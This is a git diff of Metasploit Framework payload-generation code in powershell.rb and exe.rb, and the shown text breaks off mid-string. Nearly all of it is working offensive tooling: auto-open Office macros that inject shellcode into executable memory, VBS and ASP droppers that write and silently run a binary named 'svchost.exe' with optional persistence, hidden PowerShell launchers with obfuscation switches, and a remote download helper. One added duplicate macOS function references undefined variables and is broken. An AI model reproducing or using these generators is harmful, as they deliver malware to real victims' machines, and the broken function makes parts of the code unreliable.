diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index e5bdf69cc33ef..64ffe87e5d6a9 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -1,23 +1,37 @@ # -*- coding: binary -*- -require 'zlib' +require 'rex/exploitation/powershell' module Msf module Exploit::Powershell + class PshScript < Rex::Exploitation::Powershell::Script + end + def initialize(info = {}) super - register_options( - [ - OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]), - OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]), - OptBool.new('RUN_WOW64', [ - true, + register_advanced_options( + [ + OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]), + OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]), + OptBool.new('PSH::RUN_WOW64', [ + false, 'Execute powershell in 32bit compatibility mode, payloads need native arch', false ]), + OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]), + OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]), + OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]), + OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]), ], self.class) end + # + # Reads script into a PshScript + # + def read_script(script) + return PshScript.new(script) + end + # # Insert substitutions into the powershell script # @@ -29,10 +43,10 @@ def make_subs(script, subs) subs.each do |set| script.gsub!(set[0],set[1]) end - if datastore['VERBOSE'] - print_good("Final Script: ") - script.each_line {|l| print_status("\t#{l}")} - end + # if datastore['VERBOSE'] + # print_good("Final Script: ") + # script.each_line {|l| print_status("\t#{l}")} + # end return script end @@ -49,63 +63,18 @@ def process_subs(subs) end # - # Read in a powershell script stored in +script+ - # - def read_script(script) - script_in = '' - begin - # Open script file for reading - fd = ::File.new(script, 'r') - while (line = fd.gets) - script_in << line - end - - # Close open file - fd.close() - rescue Errno::ENAMETOOLONG, Errno::ENOENT - # Treat script as a... script - script_in = script - end - return script_in - end - - - # - # Return a zlib compressed powershell script + # Return a gzip compressed powershell script + # Will invoke PSH modifiers as enabled # def compress_script(script_in, eof = nil) - - # Compress using the Deflate algorithm - compressed_stream = ::Zlib::Deflate.deflate(script_in, - ::Zlib::BEST_COMPRESSION) - - # Base64 encode the compressed file contents - encoded_stream = Rex::Text.encode_base64(compressed_stream) - - # Build the powershell expression - # Decode base64 encoded command and create a stream object - psh_expression = "$stream = New-Object IO.MemoryStream(," - psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));" - # Read & delete the first two bytes due to incompatibility with MS - psh_expression << "$stream.ReadByte()|Out-Null;" - psh_expression << "$stream.ReadByte()|Out-Null;" - # Uncompress and invoke the expression (execute) - psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader(" - psh_expression << "$(New-Object IO.Compression.DeflateStream(" - psh_expression << "$stream," - psh_expression << "[IO.Compression.CompressionMode]::Decompress))," - psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());" - - # If eof is set, add a marker to signify end of script output - if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end - - # Convert expression to unicode - unicode_expression = Rex::Text.to_unicode(psh_expression) - - # Base64 encode the unicode expression - encoded_expression = Rex::Text.encode_base64(unicode_expression) - - return encoded_expression + # Build script object + psh = PshScript.new(script_in) + # Invoke enabled modifiers + datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k| + mod_method = k.split('::').last.intern + psh.send(mod_method) + end + return psh.compress_code(eof) end # @@ -125,13 +94,13 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe') $p = [System.Diagnostics.Process]::Start($si) EOS - return ps_wrapper + return ps_wrapper.gsub("\n",';') end # # Creates cmd script to execute psh payload # - def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64']) + def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['PSH::RUN_WOW64']) # Allow powershell 1.0 format if old_psh psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) @@ -139,40 +108,84 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['R psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay) end # Run our payload in a while loop - if datastore['PERSIST'] + if datastore['PSH::PERSIST'] fun_name = Rex::Text.rand_text_alpha(rand(2)+2) sleep_time = rand(5)+5 psh_payload = "function #{fun_name}{#{psh_payload}};" psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" end - # Determine appropriate architecture + # Determine appropriate architecture, manual method reduces script size ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' # Wrap in hidden runtime psh_payload = run_hidden_psh(psh_payload,ps_bin) # Convert to base64 for -encodedcommand execution - command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n" + command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n" end + # - # Convert binary to byte array, read from file if able + # Useful method cache # - def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3)) - code = ::File.file?(input_data) ? ::File.read(input_data) : input_data - code = code.unpack('C*') - psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" - lines = [] - 1.upto(code.length-1) do |byte| - if(byte % 10 == 0) - lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" - else - lines.push ",0x#{code[byte].to_s(16)}" + module PshMethods + + # + # Convert binary to byte array, read from file if able + # + def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3)) + code = ::File.file?(input_data) ? ::File.read(input_data) : input_data + code = code.unpack('C*') + psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" + lines = [] + 1.upto(code.length-1) do |byte| + if(byte % 10 == 0) + lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" + else + lines.push ",0x#{code[byte].to_s(16)}" + end end + + return psh << lines.join("") + "\r\n" + end + + # + # Download file to host via PSH + # + def self.download(src,target=nil) + target ||= '$pwd\\' << src.split('/').last + return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^ end - psh << lines.join("") + "\r\n" - end + # + # Uninstall app + # + def self.uninstall(app,fuzzy=true) + match = fuzzy ? '-like' : '-eq' + return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^ + end + + # + # Create secure string from plaintext + # + def self.secure_string(str) + return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^ + end + + # + # MISC + # + + # + # Find PID of file locker + # + def self.who_locked_file?(filename) + return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^ + end + def self.get_last_login(user) + return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^ + end + end end end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 0f671b91a2163..5868df3719b8d 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -622,6 +622,29 @@ def self.to_win64pe_dll(framework, code, opts={}) return pe end + def self.to_osx_arm_macho(framework, code, opts={}) + + # Allow the user to specify their own template + set_template_default(opts, "template_armle_darwin.bin") + + mo = '' + File.open(opts[:template], "rb") { |fd| + mo = fd.read(fd.stat.size) + } + + if (code.length <= 2048) + pe[bo, code.length] = [code].pack("a*") + else + raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" + end + + # optional mutex + mt = pe.index('MUTEX!!!') + pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt + + return pe + end + def self.to_osx_arm_macho(framework, code, opts={}) # Allow the user to specify their own template @@ -821,177 +844,456 @@ def self.to_linux_mipsbe_elf(framework, code, opts={}) def self.to_exe_vba(exes='') exe = exes.unpack('C*') - hash_sub = {} + vba = "" idx = 0 maxbytes = 2000 + + var_magic = Rex::Text.rand_text_alpha(10).capitalize + var_base = Rex::Text.rand_text_alpha(5).capitalize var_base_idx = 0 - var_base = Rex::Text.rand_text_alpha(5).capitalize # First write the macro into the vba file - hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize - hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s - hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8) + var_fname = var_base + (var_base_idx+=1).to_s + var_fenvi = var_base + (var_base_idx+=1).to_s + var_fhand = var_base + (var_base_idx+=1).to_s + var_parag = var_base + (var_base_idx+=1).to_s + var_itemp = var_base + (var_base_idx+=1).to_s + var_btemp = var_base + (var_base_idx+=1).to_s + var_appnr = var_base + (var_base_idx+=1).to_s + var_index = var_base + (var_base_idx+=1).to_s + var_gotmagic = var_base + (var_base_idx+=1).to_s + var_farg = var_base + (var_base_idx+=1).to_s + var_stemp = var_base + (var_base_idx+=1).to_s # Function 1 extracts the binary - hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s + func_name1 = var_base + (var_base_idx+=1).to_s # Function 2 executes the binary - hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s - - hash_sub[:data] = "" + func_name2 = var_base + (var_base_idx+=1).to_s + + vba << "'**************************************************************\r\n" + vba << "'*\r\n" + vba << "'* This code is now split into two pieces:\r\n" + vba << "'* 1. The Macro. This must be copied into the Office document\r\n" + vba << "'* macro editor. This macro will run on startup.\r\n" + vba << "'*\r\n" + vba << "'* 2. The Data. The hex dump at the end of this output must be\r\n" + vba << "'* appended to the end of the document contents.\r\n" + vba << "'*\r\n" + vba << "'**************************************************************\r\n" + vba << "'*\r\n" + vba << "'* MACRO CODE\r\n" + vba << "'*\r\n" + vba << "'**************************************************************\r\n" + + # The wrapper makes it easier to integrate it into other macros + vba << "Sub Auto_Open()\r\n" + vba << "\t#{func_name1}\r\n" + vba << "End Sub\r\n" + + vba << "Sub #{func_name1}()\r\n" + vba << "\tDim #{var_appnr} As Integer\r\n" + vba << "\tDim #{var_fname} As String\r\n" + vba << "\tDim #{var_fenvi} As String\r\n" + vba << "\tDim #{var_fhand} As Integer\r\n" + vba << "\tDim #{var_parag} As Paragraph\r\n" + vba << "\tDim #{var_index} As Integer\r\n" + vba << "\tDim #{var_gotmagic} As Boolean\r\n" + vba << "\tDim #{var_itemp} As Integer\r\n" + vba << "\tDim #{var_stemp} As String\r\n" + vba << "\tDim #{var_btemp} As Byte\r\n" + vba << "\tDim #{var_magic} as String\r\n" + vba << "\t#{var_magic} = \"#{var_magic}\"\r\n" + vba << "\t#{var_fname} = \"#{Rex::Text.rand_text_alpha(rand(8)+8)}.exe\"\r\n" + vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n" + vba << "\tChDrive (#{var_fenvi})\r\n" + vba << "\tChDir (#{var_fenvi})\r\n" + vba << "\t#{var_fhand} = FreeFile()\r\n" + vba << "\tOpen #{var_fname} For Binary As #{var_fhand}\r\n" + vba << "\tFor Each #{var_parag} in ActiveDocument.Paragraphs\r\n" + vba << "\t\tDoEvents\r\n" + vba << "\t\t\t#{var_stemp} = #{var_parag}.Range.Text\r\n" + vba << "\t\tIf (#{var_gotmagic} = True) Then\r\n" + vba << "\t\t\t#{var_index} = 1\r\n" + vba << "\t\t\tWhile (#{var_index} < Len(#{var_stemp}))\r\n" + vba << "\t\t\t\t#{var_btemp} = Mid(#{var_stemp},#{var_index},4)\r\n" + vba << "\t\t\t\tPut ##{var_fhand}, , #{var_btemp}\r\n" + vba << "\t\t\t\t#{var_index} = #{var_index} + 4\r\n" + vba << "\t\t\tWend\r\n" + vba << "\t\tElseIf (InStr(1,#{var_stemp},#{var_magic}) > 0 And Len(#{var_stemp}) > 0) Then\r\n" + vba << "\t\t\t#{var_gotmagic} = True\r\n" + vba << "\t\tEnd If\r\n" + vba << "\tNext\r\n" + vba << "\tClose ##{var_fhand}\r\n" + vba << "\t#{func_name2}(#{var_fname})\r\n" + vba << "End Sub\r\n" + + vba << "Sub #{func_name2}(#{var_farg} As String)\r\n" + vba << "\tDim #{var_appnr} As Integer\r\n" + vba << "\tDim #{var_fenvi} As String\r\n" + vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n" + vba << "\tChDrive (#{var_fenvi})\r\n" + vba << "\tChDir (#{var_fenvi})\r\n" + vba << "\t#{var_appnr} = Shell(#{var_farg}, vbHide)\r\n" + vba << "End Sub\r\n" + + vba << "Sub AutoOpen()\r\n" + vba << "\tAuto_Open\r\n" + vba << "End Sub\r\n" + + vba << "Sub Workbook_Open()\r\n" + vba << "\tAuto_Open\r\n" + vba << "End Sub\r\n" + vba << "'**************************************************************\r\n" + vba << "'*\r\n" + vba << "'* PAYLOAD DATA\r\n" + vba << "'*\r\n" + vba << "'**************************************************************\r\n\r\n\r\n" + vba << "#{var_magic}\r\n" # Writing the bytes of the exe to the file 1.upto(exe.length) do |pc| while(c = exe[idx]) - hash_sub[:data] << "&H#{("%.2x" % c).upcase}" + vba << "&H#{("%.2x" % c).upcase}" if (idx > 1 and (idx % maxbytes) == 0) # When maxbytes are written make a new paragrpah - hash_sub[:data] << "\r\n" + vba << "\r\n" end idx += 1 end end - - return read_replace_script_template("to_exe.vba.template", hash_sub) + return vba end -def self.to_vba(framework,code,opts={}) - hash_sub = {} - hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + def self.to_vba(framework,code,opts={}) + var_myByte = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_myArray = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_rwxpage = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_res = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_offset = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lpThreadAttributes = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_dwStackSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize # put the shellcode bytes into an array - hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray]) + bytes = '' + maxbytes = 20 + codebytes = code.unpack('C*') + 1.upto(codebytes.length) do |idx| + bytes << codebytes[idx].to_s + bytes << "," if idx < codebytes.length - 1 + bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0) + end + + "#If Vba7 Then +Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr +Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr +Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr +#Else +Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long +Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long +Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long +#EndIf + +Sub Auto_Open() + Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long +#If Vba7 Then + Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr +#Else + Dim #{var_rwxpage} As Long, #{var_res} As Long +#EndIf + #{var_myArray} = Array(#{bytes}) + #{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40) + For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray}) + #{var_myByte} = #{var_myArray}(#{var_offset}) + #{var_res} = RtlMoveMemory(#{var_rwxpage} + #{var_offset}, #{var_myByte}, 1) + Next #{var_offset} + #{var_res} = CreateThread(0, 0, #{var_rwxpage}, 0, 0, 0) +End Sub +Sub AutoOpen() + Auto_Open +End Sub +Sub Workbook_Open() + Auto_Open +End Sub +" + end - return read_replace_script_template("to_mem.vba.template", hash_sub) + def self.to_win32pe_vba(framework, code, opts={}) + to_exe_vba(to_win32pe(framework, code, opts)) end def self.to_exe_vbs(exes = '', opts={}) delay = opts[:delay] || 5 persist = opts[:persist] || false - hash_sub = {} - hash_sub[:var_shellcode] = "" - hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small - hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - - hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes]) - - hash_sub[:init] = "" - - if(persist) - hash_sub[:init] << "Do\r\n" - hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" - hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n" - hash_sub[:init] << "Loop\r\n" - else - hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" + exe = exes.unpack('C*') + vbs = "" + + var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small + var_fname = Rex::Text.rand_text_alpha(rand(8)+8) + var_func = Rex::Text.rand_text_alpha(rand(8)+8) + var_stream = Rex::Text.rand_text_alpha(rand(8)+8) + var_obj = Rex::Text.rand_text_alpha(rand(8)+8) + var_shell = Rex::Text.rand_text_alpha(rand(8)+8) + var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8) + var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8) + var_basedir = Rex::Text.rand_text_alpha(rand(8)+8) + + vbs << "Function #{var_func}()\r\n" + + vbs << "#{var_bytes}=Chr(#{exe[0]})" + + lines = [] + 1.upto(exe.length-1) do |byte| + if(byte % 100 == 0) + lines.push "\r\n#{var_bytes}=#{var_bytes}" + end + # exe is an Array of bytes, not a String, thanks to the unpack + # above, so the following line is not subject to the different + # treatments of String#[] between ruby 1.8 and 1.9 + lines.push "&Chr(#{exe[byte]})" end - - return read_replace_script_template("to_exe.vbs.template", hash_sub) + vbs << lines.join("") + "\r\n" + + vbs << "Dim #{var_obj}\r\n" + vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n" + vbs << "Dim #{var_stream}\r\n" + vbs << "Dim #{var_tempdir}\r\n" + vbs << "Dim #{var_tempexe}\r\n" + vbs << "Dim #{var_basedir}\r\n" + vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n" + + vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n" + vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n" + vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n" + vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe}, true , false)\r\n" + vbs << "#{var_stream}.Write #{var_bytes}\r\n" + vbs << "#{var_stream}.Close\r\n" + vbs << "Dim #{var_shell}\r\n" + vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n" + + vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n" + vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n" + vbs << "#{var_obj}.DeleteFolder(#{var_basedir})\r\n" + vbs << "End Function\r\n" + + vbs << "Do\r\n" if persist + vbs << "#{var_func}\r\n" + vbs << "WScript.Sleep #{delay * 1000}\r\n" if persist + vbs << "Loop\r\n" if persist + vbs end def self.to_exe_asp(exes = '', opts={}) - hash_sub = {} - hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small - hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - - hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes]) - - return read_replace_script_template("to_exe.asp.template", hash_sub) + exe = exes.unpack('C*') + vbs = "<%\r\n" + + var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small + var_fname = Rex::Text.rand_text_alpha(rand(8)+8) + var_func = Rex::Text.rand_text_alpha(rand(8)+8) + var_stream = Rex::Text.rand_text_alpha(rand(8)+8) + var_obj = Rex::Text.rand_text_alpha(rand(8)+8) + var_shell = Rex::Text.rand_text_alpha(rand(8)+8) + var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8) + var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8) + var_basedir = Rex::Text.rand_text_alpha(rand(8)+8) + + vbs << "Sub #{var_func}()\r\n" + + vbs << "#{var_bytes}=Chr(#{exe[0]})" + + lines = [] + 1.upto(exe.length-1) do |byte| + if(byte % 100 == 0) + lines.push "\r\n#{var_bytes}=#{var_bytes}" + end + # exe is an Array of bytes, not a String, thanks to the unpack + # above, so the following line is not subject to the different + # treatments of String#[] between ruby 1.8 and 1.9 + lines.push "&Chr(#{exe[byte]})" + end + vbs << lines.join("") + "\r\n" + + vbs << "Dim #{var_obj}\r\n" + vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n" + vbs << "Dim #{var_stream}\r\n" + vbs << "Dim #{var_tempdir}\r\n" + vbs << "Dim #{var_tempexe}\r\n" + vbs << "Dim #{var_basedir}\r\n" + vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n" + + vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n" + vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n" + vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n" + vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n" + vbs << "#{var_stream}.Write #{var_bytes}\r\n" + vbs << "#{var_stream}.Close\r\n" + vbs << "Dim #{var_shell}\r\n" + vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n" + + vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n" + vbs << "End Sub\r\n" + + vbs << "#{var_func}\r\n" + vbs << "%>\r\n" + vbs end def self.to_exe_aspx(exes = '', opts={}) - hash_sub = {} - hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) - - hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file]) + exe = exes.unpack('C*') - return read_replace_script_template("to_exe.aspx.template", hash_sub) - end + var_file = Rex::Text.rand_text_alpha(rand(8)+8) + var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8) + var_basedir = Rex::Text.rand_text_alpha(rand(8)+8) + var_filename = Rex::Text.rand_text_alpha(rand(8)+8) + var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8) + var_iterator = Rex::Text.rand_text_alpha(rand(8)+8) + var_proc = Rex::Text.rand_text_alpha(rand(8)+8) + + source = "<%@ Page Language=\"C#\" AutoEventWireup=\"true\" %>\r\n" + source << "<%@ Import Namespace=\"System.IO\" %>\r\n" + source << "\r\n" + source end - def self.to_win32pe_psh(framework, code, opts={}) - hash_sub = {} - hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8) + def self.to_win32pe_psh_net(framework, code, opts={}) + var_code = Rex::Text.rand_text_alpha(rand(3)+2) + var_kernel32 = Rex::Text.rand_text_alpha(rand(3)+2) + var_baseaddr = Rex::Text.rand_text_alpha(rand(3)+2) + var_threadHandle = Rex::Text.rand_text_alpha(rand(3)+2) + var_output = Rex::Text.rand_text_alpha(rand(3)+2) + var_temp = Rex::Text.rand_text_alpha(rand(3)+2) + var_codeProvider = Rex::Text.rand_text_alpha(rand(3)+2) + var_compileParams = Rex::Text.rand_text_alpha(rand(3)+2) + var_syscode = Rex::Text.rand_text_alpha(rand(3)+2) + var_function = Rex::Text.rand_text_alpha_lower(rand(3)+2) + + psh = "Set-StrictMode -Version 2\r\n" + # Configure the C# namespace + psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n" + psh << "namespace #{var_kernel32} {\r\n" + psh << "public class #{var_function} {\r\n" + psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n" + psh << "[Flags] public enum MemoryProtection { 